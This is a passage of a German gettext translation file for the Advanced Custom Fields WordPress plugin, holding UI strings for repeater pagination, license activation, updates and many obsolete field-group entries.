msgid "Maximum Rows"
msgstr "Höchstzahl der Einträge"

#: pro/fields/class-acf-field-repeater.php:228
msgid "Pagination"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:229
msgid "Useful for fields with a large number of rows."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:240
msgid "Rows Per Page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:241
msgid "Set the number of rows to be displayed on a page."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:945
msgid "Invalid nonce."
msgstr "Ungültiger Nonce."

#: pro/fields/class-acf-field-repeater.php:959
msgid "Invalid field key."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:968
msgid "There was an error retrieving the field."
msgstr ""

# @ acf
#: pro/fields/class-acf-repeater-table.php:389
msgid "Add row"
msgstr "Eintrag hinzufügen"

# @ acf
#: pro/fields/class-acf-repeater-table.php:390
msgid "Duplicate row"
msgstr "Zeile duplizieren"

# @ acf
#: pro/fields/class-acf-repeater-table.php:391
msgid "Remove row"
msgstr "Eintrag entfernen"

#: pro/fields/class-acf-repeater-table.php:435,
#: pro/fields/class-acf-repeater-table.php:452
msgid "Current Page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:444
msgid "First page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:448
msgid "Previous page"
msgstr ""

#. translators: 1: Current page, 2: Total pages.
#: pro/fields/class-acf-repeater-table.php:457
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:465
msgid "Next page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:469
msgid "Last page"
msgstr ""

# @ acf
#: pro/locations/class-acf-location-block.php:71
msgid "No block types exist"
msgstr "Keine Blocktypen vorhanden"

# @ acf
#: pro/locations/class-acf-location-options-page.php:22
msgid "Options Page"
msgstr "Options-Seite"

# @ acf
#: pro/locations/class-acf-location-options-page.php:70
msgid "No options pages exist"
msgstr "Keine Options-Seiten vorhanden"

# @ acf
#: pro/admin/views/html-settings-updates.php:6
msgid "Deactivate License"
msgstr "Lizenz deaktivieren"

# @ acf
#: pro/admin/views/html-settings-updates.php:6
msgid "Activate License"
msgstr "Lizenz aktivieren"

#: pro/admin/views/html-settings-updates.php:16
msgid "License Information"
msgstr "Lizenzinformation"

#: pro/admin/views/html-settings-updates.php:34
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Um die Aktualisierungsfähigkeit freizuschalten gib bitte unten Deinen "
"Lizenzschlüssel ein. Falls Du keinen besitzen solltest informiere Dich bitte "
"hier hinsichtlich <a href=\"%s\" target=\"_blank\">Preisen und aller "
"weiteren Details</a>."

# @ acf
#: pro/admin/views/html-settings-updates.php:41
msgid "License Key"
msgstr "Lizenzschlüssel"

#: pro/admin/views/html-settings-updates.php:22
msgid "Your license key is defined in wp-config.php."
msgstr ""

#: pro/admin/views/html-settings-updates.php:29
msgid "Retry Activation"
msgstr ""

# @ acf
#: pro/admin/views/html-settings-updates.php:76
msgid "Update Information"
msgstr "Aktualisierungsinformationen"

# @ acf
#: pro/admin/views/html-settings-updates.php:83
msgid "Current Version"
msgstr "Installierte Version"

# @ acf
#: pro/admin/views/html-settings-updates.php:91
msgid "Latest Version"
msgstr "Aktuellste Version"

# @ acf
#: pro/admin/views/html-settings-updates.php:99
msgid "Update Available"
msgstr "Aktualisierung verfügbar"

# @ acf
#: pro/admin/views/html-settings-updates.php:116
msgid "No"
msgstr "Nein"

# @ acf
#: pro/admin/views/html-settings-updates.php:104
msgid "Yes"
msgstr "Ja"

# @ acf
#: pro/admin/views/html-settings-updates.php:111
msgid "Please enter your license key above to unlock updates"
msgstr ""
"Bitte gib oben Deinen Lizenzschlüssel ein um die Aktualisierungsfähigkeit "
"freizuschalten"

# @ acf
#: pro/admin/views/html-settings-updates.php:109
msgid "Update Plugin"
msgstr "Plugin aktualisieren"

#: pro/admin/views/html-settings-updates.php:107
msgid "Please reactivate your license to unlock updates"
msgstr ""

# @ acf
#: pro/admin/views/html-settings-updates.php:124
msgid "Changelog"
msgstr "Änderungsprotokoll"

# @ acf
#: pro/admin/views/html-settings-updates.php:134
msgid "Upgrade Notice"
msgstr "Hinweis zum Upgrade"

# @ acf
#~ msgid "Advanced Custom Fields"
#~ msgstr "Advanced Custom Fields"

# @ acf
#~ msgid "Field Groups"
#~ msgstr "Feldgruppen"

# @ acf
#~ msgid "Field Group"
#~ msgstr "Feldgruppe"

# @ acf
#~ msgid "Add New Field Group"
#~ msgstr "Neue Feldgruppe erstellen"

# @ acf
#~ msgid "Edit Field Group"
#~ msgstr "Feldgruppe bearbeiten"

# @ acf
#~ msgid "New Field Group"
#~ msgstr "Neue Feldgruppe"

# @ acf
#~ msgid "View Field Group"
#~ msgstr "Feldgruppe anzeigen"

# @ acf
#~ msgid "Search Field Groups"
#~ msgstr "Feldgruppen durchsuchen"

# @ acf
#~ msgid "No Field Groups found"
#~ msgstr "Keine Feldgruppen gefunden"

# @ acf
#~ msgid "No Field Groups found in Trash"
#~ msgstr "Keine Feldgruppen im Papierkorb gefunden"

# @ acf
#~ msgid "Field"
#~ msgstr "Feld"

# @ acf
#~ msgid "Add New Field"
#~ msgstr "Feld hinzufügen"

# @ acf
#~ msgid "Edit Field"
#~ msgstr "Feld bearbeiten"

# @ acf
#~ msgid "New Field"
#~ msgstr "Neues Feld"

# @ acf
#~ msgid "View Field"
#~ msgstr "Feld anzeigen"

# @ acf
#~ msgid "Search Fields"
#~ msgstr "Felder suchen"

# @ acf
#~ msgid "No Fields found"
#~ msgstr "Keine Felder gefunden"

# @ acf
#~ msgid "No Fields found in Trash"
#~ msgstr "Keine Felder im Papierkorb gefunden"

#~ msgctxt "post status"
#~ msgid "Disabled"
#~ msgstr "Deaktiviert"

#, php-format
#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Deaktiviert <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Deaktiviert <span class=\"count\">(%s)</span>"

# @ acf
#~ msgid "(no label)"
#~ msgstr "(keine Beschriftung)"

# @ acf
#~ msgid "copy"
#~ msgstr "Kopie"

# @ acf
#~ msgid "Posts"
#~ msgstr "Beiträge"

# @ acf
#~ msgid "Taxonomies"
#~ msgstr "Taxonomien"

# @ acf
#~ msgid "Attachments"
#~ msgstr "Anhänge"

# @ acf
#~ msgid "Comments"
#~ msgstr "Kommentare"

# @ acf
#~ msgid "Widgets"
#~ msgstr "Widgets"

#~ msgid "Menus"
#~ msgstr "Menüs"

#~ msgid "Menu items"
#~ msgstr "Menüelemente"

# @ acf
#~ msgid "Users"
#~ msgstr "Benutzer"

# @ acf
#~ msgid "Blocks"
#~ msgstr "Blöcke"

# @ acf
#~ msgid "Field group updated."
#~ msgstr "Feldgruppe aktualisiert."

# @ acf
#~ msgid "Field group deleted."
#~ msgstr "Feldgruppe gelöscht."

# @ acf
#~ msgid "Field group published."
#~ msgstr "Feldgruppe veröffentlicht."

# @ acf
#~ msgid "Field group saved."
#~ msgstr "Feldgruppe gespeichert."

# @ acf
#~ msgid "Field group submitted."
#~ msgstr "Feldgruppe übertragen."

# @ acf
#~ msgid "Field group scheduled for."
#~ msgstr "Feldgruppe geplant für."

# @ acf
#~ msgid "Field group draft updated."
#~ msgstr "Entwurf der Feldgruppe aktualisiert."

# @ acf
#~ msgid "The string \"field_\" may not be used at the start of a field name"
#~ msgstr "Der Feldname darf nicht mit \"field_\" beginnen"

# @ acf
#~ msgid "This field cannot be moved until its changes have been saved"
#~ msgstr ""
#~ "Diese Feld kann erst verschoben werden, wenn die Änderungen gespeichert "
#~ "wurden"

# @ acf
#~ msgid "Field group title is required"
#~ msgstr "Es ist ein Titel für die Feldgruppe erforderlich"

# @ acf
#~ msgid "Move to trash. Are you sure?"
#~ msgstr "Wirklich in den Papierkorb verschieben?"

# @ acf
#~ msgid "No toggle fields available"
#~ msgstr "Es liegen keine Auswahl-Feldtypen vor"

# @ acf
#~ msgid "Move Custom Field"
#~ msgstr "Individuelles Feld verschieben"

# @ acf
#~ msgid "Checked"
#~ msgstr "Ausgewählt"

# @ acf
#~ msgid "(this field)"
#~ msgstr "(dieses Feld)"

# @ acf
#~ msgid "or"
#~ msgstr "oder"

# @ acf
#~ msgid "Null"
#~ msgstr "Null"

#~ msgid "Has any value"
#~ msgstr "Hat einen Wert"

#~ msgid "Has no value"
#~ msgstr "Hat keinen Wert"

# @ acf
#~ msgid "Value is equal to"
#~ msgstr "Wert ist gleich"

# @ acf
#~ msgid "Value is not equal to"
#~ msgstr "Wert ist ungleich"

# @ acf
#~ msgid "Value matches pattern"
#~ msgstr "Wert entspricht regulärem Ausdruck"

#~ msgid "Value contains"
#~ msgstr "Wert enthält"

# @ acf
#~ msgid "Value is greater than"
#~ msgstr "Wert ist größer als"

# @ acf
#~ msgid "Value is less than"
#~ msgstr "Wert ist kleiner als"

#~ msgid "Selection is greater than"
#~ msgstr "Auswahl ist größer als"

# @ acf
#~ msgid "Selection is less than"
#~ msgstr "Auswahl ist kleiner als"

# @ acf
#~ msgid "Location"
#~ msgstr "Position"

#~ msgid "Settings"
#~ msgstr "Einstellungen"

#~ msgid "Field Keys"
#~ msgstr "Feldschlüssel"

#~ msgid "Active"
#~ msgstr "Aktiviert"

#~ msgid "Inactive"
#~ msgstr "Inaktiv"

# @ acf
#~ msgid "Move Complete."
#~ msgstr "Verschieben erfolgreich abgeschlossen."

# @ acf
#, php-format
#~ msgid "The %s field can now be found in the %s field group"
#~ msgstr "Das Feld \"%s\" wurde in die %s Feldgruppe verschoben"

# @ acf
#~ msgid "Close Window"
#~ msgstr "Schließen"

# @ acf
#~ msgid "Please select the destination for this field"
#~ msgstr "In welche Feldgruppe solle dieses Feld verschoben werden"

# @ acf
#~ msgid "Move Field"
#~ msgstr "Feld verschieben"

#, php-format
#~ msgid "Active <span class=\"count\">(%s)</span>"
#~ msgid_plural "Active <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Veröffentlicht <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Veröffentlicht <span class=\"count\">(%s)</span>"

#~ msgid "Review local JSON changes"
#~ msgstr "Lokale JSON-Änderungen überprüfen"

# @ acf
#~ msgid "Loading diff"
#~ msgstr "Diff laden"

# @ acf
#~ msgid "Sync changes"
#~ msgstr "Änderungen synchronisieren"

#~ msgid "Key"
#~ msgstr "Schlüssel"

# @ acf
#~ msgid "Local JSON"
#~ msgstr "Lokales JSON"

#~ msgid "Various"
#~ msgstr "Verschiedene"

#, php-format
#~ msgid "Located in theme: %s"
#~ msgstr "Befindet sich in Theme: %s"

#, php-format
#~ msgid "Located in plugin: %s"
#~ msgstr "Befindet sich in Plugin: %s"

# @ acf
#, php-format
#~ msgid "Located in: %s"
#~ msgstr "Befindet sich in: %s"

# @ acf
#~ msgid "Sync available"
#~ msgstr "Synchronisierung verfügbar"

# @ acf
#~ msgid "Sync"
#~ msgstr "Synchronisieren"

#~ msgid "Review changes"
#~ msgstr "Änderungen überprüfen"

# @ acf
#~ msgid "Import"
#~ msgstr "Importieren"

#~ msgid "Saved"
#~ msgstr "Gespeichert"

#~ msgid "Awaiting save"
#~ msgstr "Warten auf Speichern"

# @ acf
#~ msgid "Duplicate this item"
#~ msgstr "Dieses Element duplizieren"

# @ acf
#, php-format
#~ msgid "Field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "Feldgruppe dupliziert."
#~ msgstr[1] "%s Feldgruppen dupliziert."

# @ acf
#, php-format
#~ msgid "Field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "Field group synchronised."
#~ msgstr[1] "%s Feldgruppen synchronisiert."

# @ acf
#, php-format
#~ msgid "Select %s"
#~ msgstr "%s auswählen"

#~ msgid "Tools"
#~ msgstr "Werkzeuge"

# @ acf
#~ msgid "Upgrade Database"
#~ msgstr "Datenbank upgraden"

# @ acf
#~ msgid "Review sites & upgrade"
#~ msgstr "Übersicht Websites & Upgrades"

# @ acf
#~ msgid "Custom Fields"
#~ msgstr "Individuelle Felder"

#~ msgid "Overview"
#~ msgstr "Übersicht"

#~ msgid ""
#~ "The Advanced Custom Fields plugin provides a visual form builder to "
#~ "customize WordPress edit screens with extra content fields, and an "
#~ "intuitive API to display custom field values in any theme template file."
#~ msgstr ""
#~ "Das Advanced Custom Fields-Plugin stellt einen visuellen Baukasten für "
#~ "Formulare zur Verfügung mit dessen Hilfe die Seiten der zu bearbeitenden "
#~ "Inhalte um extra Inhalts-Felder erweitert werden können. Es bietet zudem "
#~ "ein API um die Inhalte individueller Felder in den Template-Dateien von "
#~ "Themes darzustellen."

#, php-format
#~ msgid ""
#~ "Before creating your first Field Group, we recommend first reading our <a "
#~ "href=\"%s\" target=\"_blank\">Getting started</a> guide to familiarize "
#~ "yourself with the plugin's philosophy and best practises."
#~ msgstr ""
#~ "Bevor Du deine erste Feldgruppe erstellst, empfehlen wir Dir zuerst "
#~ "einmal unser <a href=\"%s\" target=\"_blank\">Erste Schritte</a> Handbuch "
#~ "durchzulesen um Dich mit der Philosophie hinter dem Plugin und den "
#~ "bewährtesten Praktiken vertraut zu machen."

#~ msgid ""
#~ "Please use the Help & Support tab to get in touch should you find "
#~ "yourself requiring assistance."
#~ msgstr ""
#~ "Bitte nutze das Hilfe & Support-Tab um Dich mit uns in Verbindung zu "
#~ "setzen für den Fall, dass Du Hilfe benötigst."

#~ msgid "Help & Support"
#~ msgstr "Hilfe & Support"

#~ msgid ""
#~ "We are fanatical about support, and want you to get the best out of your "
#~ "website with ACF. If you run into any difficulties, there are several "
#~ "places you can find help:"
#~ msgstr ""
#~ "Wir sind geradezu fanatisch im Bezug auf Support und wollen, dass Du das "
#~ "beste aus deiner Website mit ACF herausholst. Solltest Du auf Probleme "
#~ "stossen gibt es mehrere Stellen an denen Du Hilfe finden kannst:"

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Documentation</a>. Our extensive "
#~ "documentation contains references and guides for most situations you may "
#~ "encounter."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Dokumentation</a>. Unsere umfangreiche "
#~ "Dokumentation enthält Referenzen und Anleitungen zu den meisten Situation "
#~ "in die Du geraten könntest."

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Discussions</a>. We have an active and "
#~ "friendly community on our Community Forums who may be able to help you "
#~ "figure out the ‘how-tos’ of the ACF world."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Diskussionen</a>. Wir haben in unseren "
#~ "Foren eine aktive und freundliche Community, die Dir vielleicht "
#~ "behilflich sein kann dich in der ACF-Welt zurechtzufinden."

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Help Desk</a>. The support professionals "
#~ "on our Help Desk will assist with your more in depth, technical "
#~ "challenges."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Help Desk</a>. Die Support-Experten "
#~ "unseres Help Desks werden Dir bei tiefer gehenden technischen "
#~ "Herausforderungen helfend zur Seite stehen."

# @ acf
#~ msgid "Information"
#~ msgstr "Information"

# @ acf
#, php-format
#~ msgid "Version %s"
#~ msgstr "Version %s"

# @ acf
#~ msgid "View details"
#~ msgstr "Details anzeigen"

#~ msgid "Visit website"
#~ msgstr "Website besuchen"

# @ acf
#~ msgid "and"
#~ msgstr "und"

# @ acf
#~ msgid "Export Field Groups"
#~ msgstr "Feldgruppen exportieren"

#~ msgid "Generate PHP"
#~ msgstr "PHP erstellen"

# @ acf
#~ msgid "No field groups selected"
#~ msgstr "Keine Feldgruppen ausgewählt"

#, php-format
#~ msgid "Exported 1 field group."
#~ msgid_plural "Exported %s field groups."
#~ msgstr[0] "Eine Feldgruppe wurde exportiert."
#~ msgstr[1] "%s Feldgruppen wurden exportiert."

# @ acf
#~ msgid "Select Field Groups"
#~ msgstr "Feldgruppen auswählen"

# @ acf
#~ msgid ""
#~ "Select the field groups you would like to export and then select your "
#~ "export method. Use the download button to export to a .json file which "
#~ "you can then import to another ACF installation. Use the generate button "
#~ "to export to PHP code which you can place in your theme."
#~ msgstr ""
#~ "Entscheide welche Feldgruppen Du exportieren möchtest und wähle dann das "
#~ "Exportformat. Benutze den \"Datei exportieren\"-Button, um eine JSON-"
#~ "Datei zu generieren, welche Du im Anschluss in eine andere ACF-"
#~ "Installation importieren kannst. Verwende den \"PHP erstellen“-Button, um "
#~ "den resultierenden PHP-Code in dein Theme einfügen zu können."

# @ acf
#~ msgid "Export File"
#~ msgstr "Datei exportieren"

# @ acf
#~ msgid ""
#~ "The following code can be used to register a local version of the "
#~ "selected field group(s). A local field group can provide many benefits "
#~ "such as faster load times, version control & dynamic fields/settings. "
#~ "Simply copy and paste the following code to your theme's functions.php "
#~ "file or include it within an external file."
#~ msgstr ""
#~ "Der nachfolgende Code kann dazu verwendet werden eine lokale Version der "
#~ "ausgewählten Feldgruppe(n) zu registrieren. Eine lokale Feldgruppe bietet "
#~ "viele Vorteile; schnellere Ladezeiten, Versionskontrolle sowie dynamische "
#~ "Felder und Einstellungen. Kopiere einfach folgenden Code und füge ihn in "
#~ "die functions.php oder eine externe Datei in Deinem Theme ein."

#~ msgid "Copy to clipboard"
#~ msgstr "In die Zwischenablage kopieren"

#~ msgid "Copied"
#~ msgstr "Kopiert"

# @ acf
#~ msgid "Import Field Groups"
#~ msgstr "Feldgruppen importieren"

# @ acf
#~ msgid ""
#~ "Select the Advanced Custom Fields JSON file you would like to import. "
#~ "When you click the import button below, ACF will import the field groups."
#~ msgstr ""
#~ "Wähle die Advanced Custom Fields JSON-Datei aus, welche Du importieren "
#~ "möchtest. Nach dem Klicken des „Datei importieren“-Buttons wird ACF die "
#~ "Feldgruppen hinzufügen."

# @ acf
#~ msgid "Select File"
#~ msgstr "Datei auswählen"

# @ acf
#~ msgid "Import File"
#~ msgstr "Datei importieren"

# @ acf
#~ msgid "No file selected"
#~ msgstr "Keine Datei ausgewählt"

# @ acf
#~ msgid "Error uploading file. Please try again"
#~ msgstr "Fehler beim Upload der Datei. Bitte erneut versuchen"

# @ acf
#~ msgid "Incorrect file type"
#~ msgstr "Falscher Dateityp"

# @ acf
#~ msgid "Import file empty"
#~ msgstr "Die importierte Datei ist leer"

#, php-format
#~ msgid "Imported 1 field group"
#~ msgid_plural "Imported %s field groups"
#~ msgstr[0] "Eine Feldgruppe importiert"
#~ msgstr[1] "%s Feldgruppen importiert"

# @ acf
#~ msgid "Conditional Logic"
#~ msgstr "Bedingungen für die Anzeige"

# @ acf
#~ msgid "Show this field if"
#~ msgstr "Zeige dieses Feld, wenn"

# @ acf
#~ msgid "Add rule group"
#~ msgstr "Regelgruppe hinzufügen"

# @ acf
#~ msgid "Edit field"
#~ msgstr "Feld bearbeiten"

# @ acf
#~ msgid "Duplicate field"
#~ msgstr "Feld duplizieren"

# @ acf
#~ msgid "Move field to another group"
#~ msgstr "Feld in eine andere Gruppe verschieben"

# @ acf
#~ msgid "Move"
#~ msgstr "Verschieben"

# @ acf
#~ msgid "Delete field"
#~ msgstr "Feld löschen"

# @ acf
#~ msgid "Field Label"
#~ msgstr "Feldbeschriftung"

# @ acf
#~ msgid "This is the name which will appear on the EDIT page"
#~ msgstr ""
#~ "Dieser Name wird in der Bearbeitungsansicht eines Beitrags angezeigt"

# @ acf
#~ msgid "Field Name"
#~ msgstr "Feldname"

# @ acf
#~ msgid "Single word, no spaces. Underscores and dashes allowed"
#~ msgstr ""
#~ "Einzelnes Wort ohne Leerzeichen. Es sind nur Unter- und Bindestriche als "
#~ "Sonderzeichen erlaubt"

# @ acf
#~ msgid "Field Type"
#~ msgstr "Feldtyp"

# @ acf
#~ msgid "Instructions"
#~ msgstr "Anweisungen"

# @ acf
#~ msgid "Instructions for authors. Shown when submitting data"
#~ msgstr ""
#~ "Anweisungen für die Autoren. Sie werden in der Bearbeitungsansicht "
#~ "angezeigt"

# @ acf
#~ msgid "Required?"
#~ msgstr "Erforderlich?"

# @ acf
#~ msgid "Wrapper Attributes"
#~ msgstr "Wrapper-Attribute"

# @ acf
#~ msgid "width"
#~ msgstr "Breite"

# @ acf
#~ msgid "class"
#~ msgstr "Klasse"

# @ acf
#~ msgid "id"
#~ msgstr "ID"

# @ acf
#~ msgid "Close Field"
#~ msgstr "Feld schließen"

# @ acf
#~ msgid "Order"
#~ msgstr "Reihenfolge"

# @ acf
#~ msgid "Type"
#~ msgstr "Typ"

# @ acf
#~ msgid ""
#~ "No fields. Click the <strong>+ Add Field</strong> button to create your "
#~ "first field."
#~ msgstr ""
#~ "Es sind noch keine Felder angelegt. Klicke den <strong>+ Feld hinzufügen-"
#~ "Button</strong> und erstelle Dein erstes Feld."

# @ acf
#~ msgid "+ Add Field"
#~ msgstr "+ Feld hinzufügen"

# @ acf
#~ msgid "Rules"
#~ msgstr "Regeln"

# @ acf
#~ msgid ""
#~ "Create a set of rules to determine which edit screens will use these "
#~ "advanced custom fields"
#~ msgstr ""
#~ "Erstelle ein Regelwerk das festlegt welche Bearbeitungsansichten diese "
#~ "Advanced Custom Fields nutzen"

# @ acf
#~ msgid "Style"
#~ msgstr "Stil"

# @ acf
#~ msgid "Standard (WP metabox)"
#~ msgstr "WP-Metabox (Standard)"

# @ acf
#~ msgid "Seamless (no metabox)"
#~ msgstr "Übergangslos ohne Metabox"

# @ acf
#~ msgid "Position"
#~ msgstr "Position"

# @ acf
#~ msgid "High (after title)"
#~ msgstr "Nach dem Titel vor dem Inhalt"

# @ acf
#~ msgid "Normal (after content)"
#~ msgstr "Nach dem Inhalt"

# @ acf
#~ msgid "Side"
#~ msgstr "Seitlich neben dem Inhalt"

# @ acf
#~ msgid "Label placement"
#~ msgstr "Platzierung der Beschriftung"

# @ acf
#~ msgid "Top aligned"
#~ msgstr "Über dem Feld"

# @ acf
#~ msgid "Left aligned"
#~ msgstr "Links neben dem Feld"

# @ acf
#~ msgid "Instruction placement"
#~ msgstr "Platzierung der Anweisungen"

# @ acf
#~ msgid "Below labels"
#~ msgstr "Unterhalb der Beschriftungen"

# @ acf
#~ msgid "Below fields"
#~ msgstr "Unterhalb der Felder"

# @ acf
#~ msgid "Order No."
#~ msgstr "Reihenfolge"

#~ msgid "Field groups with a lower order will appear first"
#~ msgstr "Feldgruppen mit einem niedrigeren Wert werden zuerst angezeigt"

#~ msgid "Shown in field group list"
#~ msgstr "In der Feldgruppen-Liste anzeigen"

# @ acf
#~ msgid "Permalink"
#~ msgstr "Permalink"

# @ acf
#~ msgid "Content Editor"
#~ msgstr "Inhalts-Editor"

# @ acf
#~ msgid "Excerpt"
#~ msgstr "Textauszug"

# @ acf
#~ msgid "Discussion"
#~ msgstr "Diskussion"

# @ acf
#~ msgid "Revisions"
#~ msgstr "Revisionen"

# @ acf
#~ msgid "Slug"
#~ msgstr "Titelform"

# @ acf
#~ msgid "Author"
#~ msgstr "Autor"

# @ acf
#~ msgid "Format"
#~ msgstr "Format"

# @ acf
#~ msgid "Page Attributes"
#~ msgstr "Seiten-Attribute"

# @ acf
#~ msgid "Featured Image"
#~ msgstr "Beitragsbild"

# @ acf
#~ msgid "Categories"
#~ msgstr "Kategorien"

# @ acf
#~ msgid "Tags"
#~ msgstr "Schlagwörter"

# @ acf
#~ msgid "Send Trackbacks"
#~ msgstr "Sende Trackbacks"

# @ acf
#~ msgid "Hide on screen"
#~ msgstr "Verstecken"

# @ acf
#~ msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
#~ msgstr ""
#~ "<strong>Wähle</strong> die Elemente, welche in der Bearbeitungsansicht "
#~ "<strong>verborgen</strong> werden sollen."

# @ acf
#~ msgid ""
#~ "If multiple field groups appear on an edit screen, the first field "
#~ "group's options will be used (the one with the lowest order number)"
#~ msgstr ""
#~ "Werden in der Bearbeitungsansicht mehrere Feldgruppen angezeigt, werden "
#~ "die Optionen der ersten Feldgruppe verwendet (die mit der niedrigsten "
#~ "Nummer in der Reihe)"

#, php-format
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click %s."
#~ msgstr ""
#~ "Folgende Websites erfordern ein Upgrade der Datenbank. Markiere die, die "
#~ "du aktualisieren willst und klicke dann %s."

#~ msgid "Upgrade Sites"
#~ msgstr "Websites upgraden"

# @ acf
#~ msgid "Site"
#~ msgstr "Website"

# @ acf
#, php-format
#~ msgid "Site requires database upgrade from %s to %s"
#~ msgstr "Die Website erfordert ein Upgrade der Datenbank von %s auf %s"

# @ acf
#~ msgid "Site is up to date"
#~ msgstr "Die Website ist aktuell"

# @ acf
#, php-format
#~ msgid ""
#~ "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
#~ msgstr ""
#~ "Upgrade der Datenbank fertiggestellt. <a href=\"%s\">Zum Netzwerk "
#~ "Dashboard</a>"

#~ msgid "Please select at least one site to upgrade."
#~ msgstr "Bitte zumindest eine Website zum Upgrade auswählen."

# @ acf
#~ msgid ""
#~ "It is strongly recommended that you backup your database before "
#~ "proceeding. Are you sure you wish to run the updater now?"
#~ msgstr ""
#~ "Es wird dringend empfohlen, dass du deine Datenbank sicherst, bevor Du "
#~ "fortfährst. Bist du sicher, dass du jetzt die Aktualisierung durchführen "
#~ "willst?"

# @ acf
#, php-format
#~ msgid "Upgrading data to version %s"
#~ msgstr "Daten auf Version %s upgraden"

# @ default
#~ msgid "Upgrade complete."
#~ msgstr "Upgrade abgeschlossen."

#~ msgid "Upgrade failed."
#~ msgstr "Upgrade fehlgeschlagen."

# @ acf
#~ msgid "Reading upgrade tasks..."
#~ msgstr "Aufgaben für das Upgrade einlesen…"

#, php-format
#~ msgid "Database upgrade complete. <a href=\"%s\">See what's new</a>"
#~ msgstr ""
#~ "Datenbank-Upgrade abgeschlossen. <a href=\"%s\">Schau nach was es Neues "
#~ "gibt</a>"

# @ acf
#~ msgid "No updates available."
#~ msgstr "Keine Aktualisierungen verfügbar."

#~ msgid "Back to all tools"
#~ msgstr "Zurück zur Werkzeugübersicht"

# @ acf
#~ msgid "Show this field group if"
#~ msgstr "Zeige diese Felder, wenn"

# @ acf
#~ msgid "Database Upgrade Required"
#~ msgstr "Es ist ein Upgrade der Datenbank erforderlich"

# @ acf
#, php-format
#~ msgid "Thank you for updating to %s v%s!"
#~ msgstr "Danke für die Aktualisierung auf %s v%s!"

#~ msgid ""
#~ "This version contains improvements to your database and requires an "
#~ "upgrade."
#~ msgstr ""
#~ "Die vorliegende Version enthält Verbesserungen für deine Datenbank und "
#~ "erfordert ein Upgrade."

#, php-format
#~ msgid ""
#~ "Please also check all premium add-ons (%s) are updated to the latest "
#~ "version."
#~ msgstr ""
#~ "Stelle bitte ebenfalls sicher, dass alle Premium-Add-ons (%s) auf die "
#~ "neueste Version aktualisiert wurden."

# @ acf
#~ msgid "Invalid field group parameter(s)."
#~ msgstr "Ungültige(r) Feldgruppen-Parameter."

# @ acf
#~ msgid "Invalid field group ID."
#~ msgstr "Ungültige Feldgruppen-ID."

#~ msgid "Sorry, this field group is unavailable for diff comparison."
#~ msgstr ""
#~ "Verzeihung, diese Feldgruppe steht für einen Diff-Vergleich nicht zur "
#~ "Verfügung."

# @ acf
#, php-format
#~ msgid "Last updated: %s"
#~ msgstr "Zuletzt aktualisiert: %s"

# @ acf
#~ msgid "Original field group"
#~ msgstr "Ursprüngliche Feldgruppe"

# @ acf
#~ msgid "JSON field group (newer)"
#~ msgstr "JSON-Feldgruppe (neuer)"

# @ acf
#~ msgid "Thumbnail"
#~ msgstr "Vorschaubild"

# @ acf
#~ msgid "Medium"
#~ msgstr "Mittel"

# @ acf
#~ msgid "Large"
#~ msgstr "Groß"

# @ acf
#~ msgid "Full Size"
#~ msgstr "Volle Größe"

# @ acf
#, php-format
#~ msgid "Image width must be at least %dpx."
#~ msgstr "Die Breite des Bildes muss mindestens %dpx sein."

# @ acf
#, php-format
#~ msgid "Image width must not exceed %dpx."
#~ msgstr "Die Breite des Bildes darf %dpx nicht überschreiten."

# @ acf
#, php-format
#~ msgid "Image height must be at least %dpx."
#~ msgstr "Die Höhe des Bildes muss mindestens %dpx sein."

# @ acf
#, php-format
#~ msgid "Image height must not exceed %dpx."
#~ msgstr "Die Höhe des Bild darf %dpx nicht überschreiten."

# @ acf
#, php-format
#~ msgid "File size must be at least %s."
#~ msgstr "Die Dateigröße muss mindestens %s sein."

# @ acf
#, php-format
#~ msgid "File size must not exceed %s."
#~ msgstr "Die Dateigröße darf nicht größer als %s sein."

# @ acf
#, php-format
#~ msgid "File type must be %s."
#~ msgstr "Der Dateityp muss %s sein."

# @ acf
#~ msgid "Are you sure?"
#~ msgstr "Wirklich entfernen?"

#~ msgid "Cancel"
#~ msgstr "Abbrechen"

# @ acf
#~ msgid ""
#~ "The changes you made will be lost if you navigate away from this page"
#~ msgstr ""
#~ "Die vorgenommenen Änderungen gehen verloren wenn diese Seite verlassen "
#~ "wird"

# @ acf
#~ msgid "Validation successful"
#~ msgstr "Überprüfung erfolgreich"

# @ acf
#~ msgid "Validation failed"
#~ msgstr "Überprüfung fehlgeschlagen"

# @ acf
#~ msgid "1 field requires attention"
#~ msgstr "Für 1 Feld ist eine Aktualisierung notwendig"

# @ acf
#, php-format
#~ msgid "%d fields require attention"
#~ msgstr "Für %d Felder ist eine Aktualisierung notwendig"

# @ acf
#~ msgid "Field type does not exist"
#~ msgstr "Feldtyp existiert nicht"

#~ msgid "Unknown"
#~ msgstr "Unbekannt"

# @ acf
#~ msgid "Basic"
#~ msgstr "Grundlage"

# @ acf
#~ msgid "Content"
#~ msgstr "Inhalt"

# @ acf
#~ msgid "Choice"
#~ msgstr "Auswahl"

# @ acf
